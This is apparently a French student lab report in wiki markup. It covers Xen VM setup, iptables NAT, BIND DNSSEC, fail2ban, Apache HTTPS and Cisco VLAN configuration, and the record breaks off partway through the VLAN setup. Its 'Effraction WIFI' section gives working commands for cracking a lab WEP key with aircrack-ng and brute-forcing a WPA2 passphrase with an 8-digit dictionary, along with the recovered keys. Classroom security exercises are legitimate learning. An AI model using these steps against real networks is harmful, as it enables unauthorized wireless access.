== Création du bridge ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Création des machines virtuelles ==&lt;br /&gt;
Nous avons '''créé nos trois machines''' sur le serveur capbreton via les commandes suivantes (nous avons mit la version excalibur de devuan sur la mandataire pour essayer) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ces commandes vous donnent un tableau récapitulatif avec un le '''root password''' qu'il faut noter pour pouvoir vous connecter (ce mdp est retrouvable dans le .cfg de la machine). Si vous souhaitez changer le mdp de votre machine, veiller à mettre un mdp '''robuste''' car cette machine sera sur internet.&lt;br /&gt;
&lt;br /&gt;
xen create permet de '''démarrer les machines''' avec leur fichiers de configuration :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;xen console permet d'&amp;lt;nowiki/&amp;gt;'''accéder à la console de la machine virtuelle''' (pour quitter la console un exit suffit et pour quitter la saisie de connection '''Ctrl + Shift + 5''') :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine de services ==&lt;br /&gt;
&lt;br /&gt;
=== Montage des partitions /home et /var ===&lt;br /&gt;
&lt;br /&gt;
==== Sur capbreton ====&lt;br /&gt;
&lt;br /&gt;
Pour '''créer les partitions''' /home et /var on entre les deux commandes suivantes dans &amp;lt;code&amp;gt;/dev/virtual&amp;lt;/code&amp;gt; de capbreton :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on vient ajouter les lignes suivante dans &amp;lt;code&amp;gt;/etc/xen/batman.cfg&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sur la machine de service ====&lt;br /&gt;
&lt;br /&gt;
Pour '''formater et monter''' les partitions nous utilisons les commandes suivantes ('''/!\ pas dans capbreton''') :&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajouter ces lignes dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; afin que les partitions soient '''montées de façon automatiques''' au démarrage de la VM :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin vous pouvez '''redémarrer''' la VM sur capbreton : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.batman&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau ===&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.2/24 IPv4 de batman (service)&lt;br /&gt;
    gateway 192.168.69.1 IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
# IPv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine mandataire ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.1/24 # IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27 # IPv4 publique de superman&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d'un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d'un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d'un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l'autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l'extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Effraction WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
'''/!\''' Dans notre cas la carte réseau de notre zabeth ne fonctionnait plus (ce cas est courant).&lt;br /&gt;
&lt;br /&gt;
Mr Redon nous a donc fournit une '''clé USB Wifi''' pour pouvoir travailler. &lt;br /&gt;
&lt;br /&gt;
De plus les cracotte s'arrête au 13 donc je dois prendre la '''cracotte02'''.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d''''identifier l'interface WIFI''' qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l'interface qui nous intéresse est wlx40a5efd21410. Donc nous pouvons lancer la commande suivante afin d'&amp;lt;nowiki/&amp;gt;'''identifier l'adresse IP de notre cracotte02'''.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte02 sur le channel 4 et l'adresse ip suivante :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:51  -62      231        0    0   4   54e. WEP  WEP         cracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons '''lancer le cassage''' de la clé avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le nombre de la section DATA doit augmenter asser vite (sinon il y a un problème) :&lt;br /&gt;
&lt;br /&gt;
Après un certain temps on peut entrer la commande suivante pour '''voir si la clé à été trouvée''' (le numéro, ici 5, dépend du nombre de fois ou la commande précédente a été lancé) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un '''KEY FOUND''' !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Seconde partie ====&lt;br /&gt;
On s'interesse maintenant à la kracotte02 via la commande précédente on trouve :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un fichier Python un dictionnaire contenant toutes les possibilités sur 8 chiffres. Pour lancer ce programme on utilise Python3&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Le commande suivante doit être lancée&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin on peut lancer la méthode par force brute via la commande suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résutat peut-être observé via la commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Vlan ===&lt;br /&gt;
Depuis la machine batman on se ssh sur le routeur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l'on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Création du Vlan24&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
